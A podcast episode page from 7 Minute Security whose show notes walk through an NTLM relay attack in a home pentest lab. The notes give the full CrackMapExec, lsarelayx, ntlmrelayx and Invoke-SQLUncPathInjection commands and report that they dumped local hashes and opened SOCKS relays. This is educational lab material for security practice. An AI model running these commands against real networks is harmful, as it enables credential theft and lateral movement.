7 Minute Security

Brian Johnson

7 Minute Security is a weekly information security podcast focusing on penetration testing, blue teaming and building a career in security. The podcast also features in-depth interviews with industry leaders who share their insights, tools, tips and tricks for being a successful security engineer. read less

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4
May 5 2023
7MS #570: How to Build a Vulnerable Pentest Lab - Part 4
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this: victim1 victim2 victim3 Then we tweaked the ntlmrelayx command slightly: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt Interestingly(?) only victim2 was attacked. Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server. TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.